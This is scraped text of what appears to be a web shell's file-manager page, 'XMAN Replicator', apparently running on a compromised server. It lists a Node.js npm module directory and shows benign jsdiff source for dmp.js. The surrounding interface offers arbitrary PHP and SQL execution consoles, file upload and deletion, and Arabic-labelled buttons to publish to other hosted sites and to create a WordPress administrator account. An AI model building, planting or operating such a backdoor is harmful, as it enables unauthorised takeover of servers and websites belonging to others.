🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
opt
/
alt
/
alt-nodejs24
/
root
/
usr
/
lib
/
node_modules
/
npm
/
node_modules.bundled
/
diff
/
libesm
/
convert
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2026-05-14 17:41
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2026-05-14 17:41
🔄
🗑️
🗑️📁
⬇️
🔒
dmp.js
580 B
-rw-r--r--
2026-04-24 15:56
✏️
🔄
🗑️
⬇️
🔒
xml.js
781 B
-rw-r--r--
2026-04-24 15:56
✏️
🔄
🗑️
⬇️
🔒
Edit: dmp.js
/** * converts a list of change objects to the format returned by Google's [diff-match-patch](https://github.com/google/diff-match-patch) library */ export function convertChangesToDMP(changes) { const ret = []; let change, operation; for (let i = 0; i < changes.length; i++) { change = changes[i]; if (change.added) { operation = 1; } else if (change.removed) { operation = -1; } else { operation = 0; } ret.push([operation, change.value]); } return ret; }
Save
PHP Console
Execute
SQL Console
Execute